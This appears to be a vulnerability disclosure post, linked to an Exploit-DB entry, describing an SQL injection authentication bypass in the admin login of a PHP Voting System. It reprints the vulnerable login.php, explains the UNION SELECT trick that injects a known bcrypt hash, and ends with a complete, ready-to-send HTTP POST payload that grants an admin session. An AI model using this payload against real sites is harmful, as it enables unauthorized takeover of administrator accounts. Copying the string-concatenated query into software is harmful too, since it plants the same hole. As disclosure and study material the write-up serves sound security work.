Today i found a new exploit in the PHP Voting System.
Exploit-DB entry: https://www.exploit-db.com/exploits/49843
The /admin/login.php is vulnerable against SQL injections and so you can bypass the admin authentication.
login.php
session_start();
include 'includes/conn.php';
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM admin WHERE username = '$username'";
$query = $conn->query($sql);
if($query->num_rows < 1){
$_SESSION['error'] = 'Cannot find account with the username';
}
else{
$row = $query->fetch_assoc();
if(password_verify($password, $row['password'])){
$_SESSION['admin'] = $row['id'];
}
else{
$_SESSION['error'] = 'Incorrect password';
}
}
}
else{
$_SESSION['error'] = 'Input admin credentials first';
}
header('location: index.php');
As you can see the first check if($query->num_rows < 1)
against the username is only checking the number of rows. With the following statement you always will get one row back, so the first check will pass.
SELECT * FROM admin WHERE username = 'user_not_in_DB' UNION SELECT 1,2,3,4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;
Make sure your provided username is NOT in the db!
The next if statement if(password_verify($password, $row['password']))
is hashing the password from your POST statement and then check if it is equal to the value from the row „password“. As we have now control over both values we can also pass this check. The function password_verify is using the php function password_hash . This function hashes the first parameter per default as bcypt. So lets byrypt the value „admin“ and provide it to our statement.
SELECT * FROM admin WHERE username = 'userNotinDB' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA
No we only need to inject the $username POST parameter with our code, so that
$sql = "SELECT * FROM admin WHERE username = '$username'";
becomes
$sql = "SELECT * FROM admin WHERE username = 'userNotinDB' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -'";
Payload
POST /admin/login.php HTTP/1.1
Host: 192.168.1.1
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=tliephrsj1d5ljhbvsbccnqmff
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
login=yea&password=admin&username=user_not_in_DB' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -
Follow the redirects and you will get a PHPSESSID for the Admin Account.